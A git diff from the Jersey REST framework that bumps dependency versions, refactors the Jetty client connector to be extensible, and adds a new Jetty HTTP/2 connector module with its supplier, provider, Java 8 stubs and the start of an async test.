diff --git a/NOTICE.md b/NOTICE.md index 2c45634fab..73916169f1 100644 --- a/NOTICE.md +++ b/NOTICE.md @@ -70,10 +70,10 @@ Javassist Version 3.29.2-GA * Project: http://www.javassist.org/ * Copyright (C) 1999- Shigeru Chiba. All Rights Reserved. -Jackson JAX-RS Providers Version 2.14.1 +Jackson JAX-RS Providers Version 2.15.2 * License: Apache License, 2.0 * Project: https://github.com/FasterXML/jackson-jaxrs-providers -* Copyright: (c) 2009-2022 FasterXML, LLC. All rights reserved unless otherwise indicated. +* Copyright: (c) 2009-2023 FasterXML, LLC. All rights reserved unless otherwise indicated. jQuery v1.12.4 * License: jquery.org/license @@ -95,7 +95,7 @@ KineticJS, v4.7.1 * Project: http://www.kineticjs.com, https://github.com/ericdrowell/KineticJS * Copyright: Eric Rowell -org.objectweb.asm Version 9.5 +org.objectweb.asm Version 9.6 * License: Modified BSD (https://asm.ow2.io/license.html) * Copyright (c) 2000-2011 INRIA, France Telecom. All rights reserved. diff --git a/archetypes/jersey-heroku-webapp/src/main/resources/archetype-resources/pom.xml b/archetypes/jersey-heroku-webapp/src/main/resources/archetype-resources/pom.xml index f80068043c..dd385f7263 100644 --- a/archetypes/jersey-heroku-webapp/src/main/resources/archetype-resources/pom.xml +++ b/archetypes/jersey-heroku-webapp/src/main/resources/archetype-resources/pom.xml @@ -117,7 +117,7 @@ ${project.version} - 11.0.15 + 11.0.17 UTF-8 3.1.2 3.4.0 diff --git a/bom/pom.xml b/bom/pom.xml index e70010e246..e5eb354149 100644 --- a/bom/pom.xml +++ b/bom/pom.xml @@ -83,6 +83,11 @@ jersey-jetty-connector ${project.version} + + org.glassfish.jersey.connectors + jersey-jetty-http2-connector + ${project.version} + org.glassfish.jersey.connectors jersey-jdk-connector @@ -98,6 +103,11 @@ jersey-container-jetty-http ${project.version} + + org.glassfish.jersey.containers + jersey-container-jetty-http2 + ${project.version} + org.glassfish.jersey.containers jersey-container-grizzly2-http @@ -153,6 +163,11 @@ jersey-entity-filtering ${project.version} + + org.glassfish.jersey.ext + jersey-micrometer + ${project.version} + org.glassfish.jersey.ext jersey-metainf-services diff --git a/bundles/apidocs/pom.xml b/bundles/apidocs/pom.xml index 073f82626b..33c6b72d24 100644 --- a/bundles/apidocs/pom.xml +++ b/bundles/apidocs/pom.xml @@ -101,6 +101,11 @@ jersey-jetty-connector ${project.version} + + org.glassfish.jersey.connectors + jersey-jetty-http2-connector + ${project.version} + org.glassfish.jersey.connectors jersey-netty-connector @@ -217,6 +222,11 @@ jersey-declarative-linking ${project.version} + + org.glassfish.jersey.ext + jersey-micrometer + ${project.version} + org.glassfish.jersey.ext.microprofile jersey-mp-config diff --git a/connectors/jetty-connector/src/main/java11/org/glassfish/jersey/jetty/connector/JettyConnector.java b/connectors/jetty-connector/src/main/java11/org/glassfish/jersey/jetty/connector/JettyConnector.java index 825a231104..d85ec4d7fc 100644 --- a/connectors/jetty-connector/src/main/java11/org/glassfish/jersey/jetty/connector/JettyConnector.java +++ b/connectors/jetty-connector/src/main/java11/org/glassfish/jersey/jetty/connector/JettyConnector.java @@ -16,45 +16,33 @@ package org.glassfish.jersey.jetty.connector; -import java.io.ByteArrayInputStream; -import java.io.ByteArrayOutputStream; -import java.io.FilterInputStream; -import java.io.IOException; -import java.io.InputStream; -import java.io.OutputStream; -import java.net.CookieStore; -import java.net.URI; -import java.nio.ByteBuffer; -import java.util.ArrayList; -import java.util.List; -import java.util.Map; -import java.util.Optional; -import java.util.concurrent.CancellationException; -import java.util.concurrent.CompletableFuture; -import java.util.concurrent.Future; -import java.util.concurrent.TimeUnit; -import java.util.concurrent.atomic.AtomicBoolean; -import java.util.concurrent.atomic.AtomicReference; -import java.util.logging.Level; -import java.util.logging.Logger; - import jakarta.ws.rs.ProcessingException; import jakarta.ws.rs.client.Client; import jakarta.ws.rs.core.Configuration; -import jakarta.ws.rs.core.HttpHeaders; import jakarta.ws.rs.core.MultivaluedMap; - -import javax.net.ssl.SSLContext; - -import jakarta.ws.rs.ext.RuntimeDelegate; +import org.eclipse.jetty.client.HttpClient; import org.eclipse.jetty.client.HttpClientTransport; -import org.eclipse.jetty.client.HttpRequest; +import org.eclipse.jetty.client.HttpProxy; +import org.eclipse.jetty.client.ProxyConfiguration; +import org.eclipse.jetty.client.api.AuthenticationStore; +import org.eclipse.jetty.client.api.ContentProvider; +import org.eclipse.jetty.client.api.ContentResponse; +import org.eclipse.jetty.client.api.Request; +import org.eclipse.jetty.client.api.Response; +import org.eclipse.jetty.client.api.Result; import org.eclipse.jetty.client.http.HttpClientTransportOverHTTP; -import org.eclipse.jetty.io.ClientConnector; import org.eclipse.jetty.client.util.BasicAuthentication; import org.eclipse.jetty.client.util.BytesContentProvider; import org.eclipse.jetty.client.util.FutureResponseListener; import org.eclipse.jetty.client.util.OutputStreamContentProvider; +import org.eclipse.jetty.http.HttpField; +import org.eclipse.jetty.http.HttpFields; +import org.eclipse.jetty.http.HttpHeader; +import org.eclipse.jetty.io.ClientConnector; +import org.eclipse.jetty.util.HttpCookieStore; +import org.eclipse.jetty.util.Jetty; +import org.eclipse.jetty.util.ssl.SslContextFactory; +import org.eclipse.jetty.util.thread.QueuedThreadPool; import org.glassfish.jersey.client.ClientProperties; import org.glassfish.jersey.client.ClientRequest; import org.glassfish.jersey.client.ClientResponse; @@ -67,22 +55,30 @@ import org.glassfish.jersey.message.internal.OutboundMessageContext; import org.glassfish.jersey.message.internal.Statuses; -import org.eclipse.jetty.client.HttpClient; -import org.eclipse.jetty.client.HttpProxy; -import org.eclipse.jetty.client.ProxyConfiguration; -import org.eclipse.jetty.client.api.AuthenticationStore; -import org.eclipse.jetty.client.api.ContentProvider; -import org.eclipse.jetty.client.api.ContentResponse; -import org.eclipse.jetty.client.api.Request; -import org.eclipse.jetty.client.api.Response; -import org.eclipse.jetty.client.api.Result; -import org.eclipse.jetty.http.HttpField; -import org.eclipse.jetty.http.HttpFields; -import org.eclipse.jetty.http.HttpHeader; -import org.eclipse.jetty.util.HttpCookieStore; -import org.eclipse.jetty.util.Jetty; -import org.eclipse.jetty.util.ssl.SslContextFactory; -import org.eclipse.jetty.util.thread.QueuedThreadPool; +import javax.net.ssl.SSLContext; +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.FilterInputStream; +import java.io.IOException; +import java.io.InputStream; +import java.io.OutputStream; +import java.net.CookieStore; +import java.net.URI; +import java.nio.ByteBuffer; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.Optional; +import java.util.concurrent.CancellationException; +import java.util.concurrent.CompletableFuture; +import java.util.concurrent.Future; +import java.util.concurrent.TimeUnit; +import java.util.concurrent.atomic.AtomicBoolean; +import java.util.concurrent.atomic.AtomicReference; +import java.util.function.Consumer; +import java.util.logging.Level; +import java.util.logging.Logger; /** * A {@link Connector} that utilizes the Jetty HTTP Client to send and receive @@ -133,7 +129,7 @@ * @author Arul Dhesiaseelan (aruld at acm.org) * @author Marek Potociar */ -class JettyConnector implements Connector { +public class JettyConnector implements Connector { private static final Logger LOGGER = Logger.getLogger(JettyConnector.class.getName()); @@ -148,23 +144,17 @@ class JettyConnector implements Connector { * @param jaxrsClient JAX-RS client instance, for which the connector is created. * @param config client configuration. */ - JettyConnector(final Client jaxrsClient, final Configuration config) { + protected JettyConnector(final Client jaxrsClient, final Configuration config) { this.configuration = config; - HttpClient httpClient = null; - if (config.isRegistered(JettyHttpClientSupplier.class)) { - Optional contract = config.getInstances().stream() - .filter(a-> JettyHttpClientSupplier.class.isInstance(a)).findFirst(); - if (contract.isPresent()) { - httpClient = ((JettyHttpClientSupplier) contract.get()).getHttpClient(); - } - } + HttpClient httpClient = getRegisteredHttpClient(config); + if (httpClient == null) { final SSLContext sslContext = jaxrsClient.getSslContext(); final SslContextFactory.Client sslContextFactory = new SslContextFactory.Client(false); sslContextFactory.setSslContext(sslContext); final ClientConnector connector = new ClientConnector(); connector.setSslContextFactory(sslContextFactory); - final HttpClientTransport transport = new HttpClientTransportOverHTTP(connector); + final HttpClientTransport transport = initClientTransport(connector); httpClient = new HttpClient(transport); } this.client = httpClient; @@ -203,7 +193,7 @@ class JettyConnector implements Connector { proxy.ifPresent(clientProxy -> { final ProxyConfiguration proxyConfig = client.getProxyConfiguration(); final URI u = clientProxy.uri(); - proxyConfig.getProxies().add(new HttpProxy(u.getHost(), u.getPort())); + proxyConfig.addProxy(new HttpProxy(u.getHost(), u.getPort())); if (clientProxy.userName() != null) { auth.addAuthentication(new BasicAuthentication(u, "<>", @@ -233,6 +223,37 @@ class JettyConnector implements Connector { this.cookieStore = client.getCookieStore(); } + /** + * provides required HTTP client transport for client + * + * the default transport is {@link HttpClientTransportOverHTTP} + * + * @return instance of {@link HttpClientTransport} + * @since 2.41 + */ + protected HttpClientTransport initClientTransport(ClientConnector clientConnector) { + return new HttpClientTransportOverHTTP(clientConnector); + } + + /** + * provides custom registered {@link HttpClient} if any (or NULL) + * + * @param config configuration where {@link HttpClient} could be registered + * @return {@link HttpClient} instance if any was previously registered or NULL + * + * @since 2.41 + */ + protected HttpClient getRegisteredHttpClient(Configuration config) { + if (config.isRegistered(JettyHttpClientSupplier.class)) { + Optional contract = config.getInstances().stream() + .filter(a-> JettyHttpClientSupplier.class.isInstance(a)).findFirst(); + if (contract.isPresent()) { + return ((JettyHttpClientSupplier) contract.get()).getHttpClient(); + } + } + return null; + } + /** * Get the {@link HttpClient}. * @@ -256,10 +277,13 @@ public CookieStore getCookieStore() { @Override public ClientResponse apply(final ClientRequest jerseyRequest) throws ProcessingException { final Request jettyRequest = translateRequest(jerseyRequest); - final Map clientHeadersSnapshot = writeOutBoundHeaders(jerseyRequest.getHeaders(), jettyRequest); - final ContentProvider entity = getBytesProvider(jerseyRequest); + final Map clientHeadersSnapshot = new HashMap<>(); + final ContentProvider entity = + getBytesProvider(jerseyRequest, jerseyRequest.getHeaders(), clientHeadersSnapshot, jettyRequest); if (entity != null) { jettyRequest.content(entity); + } else { + clientHeadersSnapshot.putAll(writeOutBoundHeaders(jerseyRequest.getHeaders(), jettyRequest)); } try { @@ -340,19 +364,22 @@ private Request translateRequest(final ClientRequest clientRequest) { private Map writeOutBoundHeaders(final MultivaluedMap headers, final Request request) { final Map stringHeaders = HeaderUtils.asStringHeadersSingleValue(headers, configuration); - - // remove User-agent header set by Jetty; Jersey already sets this in its request (incl. Jetty version) - request.headers(httpFields -> httpFields.remove(HttpHeader.USER_AGENT)); - if (request instanceof HttpRequest) { - final HttpRequest httpRequest = (HttpRequest) request; + final Consumer mutableConsumer = httpFields -> { + // remove User-agent header set by Jetty; Jersey already sets this in its request (incl. Jetty version) + httpFields.remove(HttpHeader.USER_AGENT); for (final Map.Entry e : stringHeaders.entrySet()) { - httpRequest.addHeader(new HttpField(e.getKey(), e.getValue())); + httpFields.put(e.getKey(), e.getValue()); } - } + }; + request.headers(mutableConsumer); + return stringHeaders; } - private ContentProvider getBytesProvider(final ClientRequest clientRequest) { + private ContentProvider getBytesProvider(final ClientRequest clientRequest, + final MultivaluedMap headers, + final Map snapshot, + final Request request) { final Object entity = clientRequest.getEntity(); if (entity == null) { @@ -363,6 +390,7 @@ private ContentProvider getBytesProvider(final ClientRequest clientRequest) { clientRequest.setStreamProvider(new OutboundMessageContext.StreamProvider() { @Override public OutputStream getOutputStream(final int contentLength) throws IOException { + snapshot.putAll(writeOutBoundHeaders(headers, request)); return outputStream; } }); diff --git a/connectors/jetty-http2-connector/pom.xml b/connectors/jetty-http2-connector/pom.xml new file mode 100644 index 0000000000..2142f7ec47 --- /dev/null +++ b/connectors/jetty-http2-connector/pom.xml @@ -0,0 +1,302 @@ + + + + + 4.0.0 + + + org.glassfish.jersey.connectors + project + 3.0.99-SNAPSHOT + + + jersey-jetty-http2-connector + jar + jersey-connectors-jetty-http2 + + Jersey Client Transport via Jetty + + + UTF-8 + ${project.basedir}/target + ${project.basedir}/src/main/java8 + ${project.basedir}/target11 + ${project.basedir}/src/main/java11 + + + + + org.eclipse.jetty + jetty-client + + + org.eclipse.jetty.http2 + http2-client + + + org.eclipse.jetty.http2 + http2-http-client-transport + + + org.eclipse.jetty + jetty-util + + + + org.glassfish.jersey.connectors + jersey-jetty-connector + ${project.version} + + + + org.glassfish.jersey.media + jersey-media-jaxb + ${project.version} + test + + + + org.glassfish.jersey.containers + jersey-container-jetty-http2 + ${project.version} + test + + + org.glassfish.jersey.media + jersey-media-json-jackson + ${project.version} + test + + + org.glassfish.jersey.test-framework.providers + jersey-test-framework-provider-jetty-http2 + ${project.version} + test + + + + + + + com.sun.istack + istack-commons-maven-plugin + true + + + org.codehaus.mojo + build-helper-maven-plugin + true + + + org.apache.maven.plugins + maven-compiler-plugin + + + org.apache.felix + maven-bundle-plugin + true + + + + ${jetty.osgi.version}, + * + + + + + + + + + + jdk11+ + + [11,) + + + + com.sun.xml.bind + jaxb-osgi + test + + + + + JettyExclude + + 1.8 + + + ${jetty9.version} + + + + org.eclipse.jetty + jetty-client + ${jetty.version} + + + org.slf4j + slf4j-api + + + + + org.eclipse.jetty + jetty-util + ${jetty.version} + + + org.slf4j + slf4j-api + + + + + + ${java8.build.outputDirectory} + + + org.codehaus.mojo + build-helper-maven-plugin + + + generate-sources + + add-source + + + + ${java8.sourceDirectory} + + + + + + + org.apache.maven.plugins + maven-compiler-plugin + + + org/glassfish/jersey/jetty/http2/connector/*.java + + + + + + + + Jetty11 + + [11,) + + + ${java11.build.outputDirectory} + + + org.codehaus.mojo + build-helper-maven-plugin + + + generate-sources + + add-source + + + + ${java11.sourceDirectory} + + + + + + + + + + copyJDK11FilesToMultiReleaseJar + + + + target11/classes/org/glassfish/jersey/jetty/connector/JettyHttp2ConnectorProvider.class + + 1.8 + + + + + org.apache.felix + maven-bundle-plugin + true + true + + + true + + + + + org.apache.maven.plugins + maven-resources-plugin + true + + + copy-jdk11-classes + prepare-package + + copy-resources + + + ${java8.build.outputDirectory}/classes/META-INF/versions/11 + + + ${java11.build.outputDirectory}/classes + + + + + + + + org.apache.maven.plugins + maven-antrun-plugin + + + copy-jdk11-sources + package + + + + sources-jar: ${sources-jar} + + + + + + + run + + + + + + + + + \ No newline at end of file diff --git a/connectors/jetty-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/package-info.java b/connectors/jetty-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/package-info.java new file mode 100644 index 0000000000..960bbb656b --- /dev/null +++ b/connectors/jetty-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/package-info.java @@ -0,0 +1,21 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +/** + * Jersey HTTP2 client {@link org.glassfish.jersey.client.spi.Connector connector} based on the + * Jetty Client. + */ +package org.glassfish.jersey.jetty.http2.connector; diff --git a/connectors/jetty-http2-connector/src/main/java11/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java b/connectors/jetty-http2-connector/src/main/java11/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java new file mode 100644 index 0000000000..454efd0db8 --- /dev/null +++ b/connectors/jetty-http2-connector/src/main/java11/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java @@ -0,0 +1,59 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2.connector; + +import org.eclipse.jetty.client.HttpClient; +import org.eclipse.jetty.client.HttpClientTransport; +import org.eclipse.jetty.http2.client.HTTP2Client; +import org.eclipse.jetty.http2.client.http.HttpClientTransportOverHTTP2; +import org.glassfish.jersey.jetty.connector.JettyConnector; +import org.glassfish.jersey.jetty.connector.JettyHttpClientContract; +import org.glassfish.jersey.jetty.connector.JettyHttpClientSupplier; + +/** + * HTTP/2 enabled version of the {@link JettyHttpClientSupplier} + * + * @since 2.41 + */ +public class JettyHttp2ClientSupplier implements JettyHttpClientContract { + private final HttpClient http2Client; + + /** + * default Http2Client created for the supplier. + */ + public JettyHttp2ClientSupplier() { + this(createHttp2Client()); + } + /** + * supplier for the {@code HttpClient} with {@code HttpClientTransportOverHTTP2} to be optionally registered + * to a {@link org.glassfish.jersey.client.ClientConfig} + * @param http2Client a HttpClient to be supplied when {@link JettyConnector#getHttpClient()} is called. + */ + public JettyHttp2ClientSupplier(HttpClient http2Client) { + this.http2Client = http2Client; + } + + private static final HttpClient createHttp2Client() { + final HttpClientTransport transport = new HttpClientTransportOverHTTP2(new HTTP2Client()); + return new HttpClient(transport); + } + + @Override + public HttpClient getHttpClient() { + return http2Client; + } +} \ No newline at end of file diff --git a/connectors/jetty-http2-connector/src/main/java11/org/glassfish/jersey/jetty/http2/connector/JettyHttp2Connector.java b/connectors/jetty-http2-connector/src/main/java11/org/glassfish/jersey/jetty/http2/connector/JettyHttp2Connector.java new file mode 100644 index 0000000000..7f1e45dd1f --- /dev/null +++ b/connectors/jetty-http2-connector/src/main/java11/org/glassfish/jersey/jetty/http2/connector/JettyHttp2Connector.java @@ -0,0 +1,81 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2.connector; + +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.core.Configuration; + +import org.eclipse.jetty.client.HttpClient; +import org.eclipse.jetty.client.HttpClientTransport; +import org.eclipse.jetty.http2.client.HTTP2Client; +import org.eclipse.jetty.http2.client.http.HttpClientTransportOverHTTP2; +import org.eclipse.jetty.io.ClientConnector; +import org.glassfish.jersey.jetty.connector.JettyConnector; + +import java.util.Optional; + +/** + * Extends {@link JettyConnector} with HTTP/2 transport support + * + * @since 2.41 + */ +class JettyHttp2Connector extends JettyConnector { + + + /** + * Create the new Jetty HTTP/2 client connector. + * + * @param jaxrsClient JAX-RS client instance, for which the connector is created. + * @param config client configuration. + */ + JettyHttp2Connector(Client jaxrsClient, Configuration config) { + super(jaxrsClient, config); + } + + /** + * provides required {@link HttpClientTransport} for client + * + * The overriden method provides {@link HttpClientTransportOverHTTP2} with initialized {@link HTTP2Client} + * + * @return {@link HttpClientTransportOverHTTP2} + * @since 2.41 + */ + @Override + protected HttpClientTransport initClientTransport(ClientConnector clientConnector) { + return new HttpClientTransportOverHTTP2(new HTTP2Client(clientConnector)); + } + + /** + * provides custom registered {@link HttpClient} (if any) with HTTP/2 support + * + * @param config configuration where {@link HttpClient} could be registered + * @return {@link HttpClient} instance if any was previously registered or NULL + * + * @since 2.41 + */ + @Override + protected HttpClient getRegisteredHttpClient(Configuration config) { + if (config.isRegistered(JettyHttp2ClientSupplier.class)) { + Optional contract = config.getInstances().stream() + .filter(a-> JettyHttp2ClientSupplier.class.isInstance(a)).findFirst(); + if (contract.isPresent()) { + return ((JettyHttp2ClientSupplier) contract.get()).getHttpClient(); + } + } + return null; + } +} diff --git a/connectors/jetty-http2-connector/src/main/java11/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ConnectorProvider.java b/connectors/jetty-http2-connector/src/main/java11/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ConnectorProvider.java new file mode 100644 index 0000000000..02eaf5a81b --- /dev/null +++ b/connectors/jetty-http2-connector/src/main/java11/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ConnectorProvider.java @@ -0,0 +1,58 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2.connector; + +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.core.Configurable; +import jakarta.ws.rs.core.Configuration; +import org.eclipse.jetty.client.HttpClient; +import org.glassfish.jersey.client.Initializable; +import org.glassfish.jersey.client.spi.Connector; +import org.glassfish.jersey.jetty.connector.JettyConnectorProvider; +import org.glassfish.jersey.jetty.connector.LocalizationMessages; + +/** + * Provides HTTP2 enabled version of the {@link JettyConnectorProvider} for a client + * + * @since 2.41 + */ +public class JettyHttp2ConnectorProvider extends JettyConnectorProvider { + @Override + public Connector getConnector(Client client, Configuration runtimeConfig) { + return new JettyHttp2Connector(client, runtimeConfig); + } + + public static HttpClient getHttpClient(Configurable component) { + if (!(component instanceof Initializable)) { + throw new IllegalArgumentException( + LocalizationMessages.INVALID_CONFIGURABLE_COMPONENT_TYPE(component.getClass().getName())); + } + + final Initializable initializable = (Initializable) component; + Connector connector = initializable.getConfiguration().getConnector(); + if (connector == null) { + initializable.preInitialize(); + connector = initializable.getConfiguration().getConnector(); + } + + if (connector instanceof JettyHttp2Connector) { + return ((JettyHttp2Connector) connector).getHttpClient(); + } + + throw new IllegalArgumentException(LocalizationMessages.EXPECTED_CONNECTOR_PROVIDER_NOT_USED()); + } +} \ No newline at end of file diff --git a/connectors/jetty-http2-connector/src/main/java8/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java b/connectors/jetty-http2-connector/src/main/java8/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java new file mode 100644 index 0000000000..6275727920 --- /dev/null +++ b/connectors/jetty-http2-connector/src/main/java8/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java @@ -0,0 +1,60 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2.connector; + +import jakarta.ws.rs.ProcessingException; +import org.eclipse.jetty.client.HttpClient; +import org.glassfish.jersey.internal.util.JdkVersion; +import org.glassfish.jersey.jetty.connector.JettyHttpClientContract; +import org.glassfish.jersey.jetty.connector.JettyHttpClientSupplier; +import org.glassfish.jersey.jetty.connector.LocalizationMessages; + +/** + * HTTP/2 enabled version of the {@link JettyHttpClientSupplier} + * + * @since 2.41 + */ +public class JettyHttp2ClientSupplier implements JettyHttpClientContract { + private final HttpClient http2Client; + + /** + * default Http2Client created for the supplier. + */ + public JettyHttp2ClientSupplier() { + this(createHttp2Client()); + } + /** + * supplier for the {@code HttpClient} with {@code HttpClientTransportOverHTTP2} to be optionally registered + * to a {@link org.glassfish.jersey.client.ClientConfig} + * @param http2Client seed doc for JDK 11+. + */ + public JettyHttp2ClientSupplier(HttpClient http2Client) { + this.http2Client = http2Client; + } + + private static final HttpClient createHttp2Client() { + if (JdkVersion.getJdkVersion().getMajor() < 11) { + throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED()); + } + return null; // does not work at JDK 1.8 + } + + @Override + public HttpClient getHttpClient() { + return http2Client; + } +} \ No newline at end of file diff --git a/connectors/jetty-http2-connector/src/main/java8/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ConnectorProvider.java b/connectors/jetty-http2-connector/src/main/java8/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ConnectorProvider.java new file mode 100644 index 0000000000..74e5670a47 --- /dev/null +++ b/connectors/jetty-http2-connector/src/main/java8/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ConnectorProvider.java @@ -0,0 +1,40 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2.connector; + +import jakarta.ws.rs.ProcessingException; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.core.Configuration; +import org.glassfish.jersey.client.spi.Connector; +import org.glassfish.jersey.internal.util.JdkVersion; +import org.glassfish.jersey.jetty.connector.JettyConnectorProvider; +import org.glassfish.jersey.jetty.connector.LocalizationMessages; + +/** + * Provides HTTP2 enabled version of the {@link JettyConnectorProvider} for a client + * + * @since 2.41 + */ +public class JettyHttp2ConnectorProvider extends JettyConnectorProvider { + @Override + public Connector getConnector(Client client, Configuration runtimeConfig) { + if (JdkVersion.getJdkVersion().getMajor() < 11) { + throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED()); + } + return null; // does not work at JDK 1.8 + } +} \ No newline at end of file diff --git a/connectors/jetty-http2-connector/src/main/resources/org.glassfish.jersey.jetty.http2.connector/localization.properties b/connectors/jetty-http2-connector/src/main/resources/org.glassfish.jersey.jetty.http2.connector/localization.properties new file mode 100644 index 0000000000..aacb267211 --- /dev/null +++ b/connectors/jetty-http2-connector/src/main/resources/org.glassfish.jersey.jetty.http2.connector/localization.properties @@ -0,0 +1,21 @@ +# +# Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. +# +# This program and the accompanying materials are made available under the +# terms of the Eclipse Public License v. 2.0, which is available at +# http://www.eclipse.org/legal/epl-2.0. +# +# This Source Code may also be made available under the following Secondary +# Licenses when the conditions for such availability set forth in the +# Eclipse Public License v. 2.0 are satisfied: GNU General Public License, +# version 2 with the GNU Classpath Exception, which is available at +# https://www.gnu.org/software/classpath/license.html. +# +# SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 +# + +# {0} - HTTP method, e.g. GET, DELETE +method.not.supported=Method {0} not supported. +invalid.configurable.component.type=The supplied component "{0}" is not assignable from JerseyClient or JerseyWebTarget. +expected.connector.provider.not.used=The supplied component is not configured to use a JettyConnectorProvider. +not.supported=Jetty connector is not supported on JDK version less than 11. diff --git a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AsyncTest.java b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AsyncTest.java new file mode 100644 index 0000000000..76ef67bf56 --- /dev/null +++ b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AsyncTest.java @@ -0,0 +1,193 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2.connector; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; +import org.hamcrest.Matchers; +import org.junit.jupiter.api.Test; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.POST; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.client.Entity; +import jakarta.ws.rs.container.AsyncResponse; +import jakarta.ws.rs.container.Suspended; +import jakarta.ws.rs.container.TimeoutHandler; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.Response; +import java.util.concurrent.Future; +import java.util.concurrent.TimeUnit; +import java.util.logging.Logger; + +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.api.Assertions.assertEquals; + +public class AsyncTest extends JerseyTest { + private static final Logger LOGGER = Logger.getLogger(AsyncTest.class.getName()); + private static final String PATH = "async"; + + /** + * Asynchronous test resource. + */ + 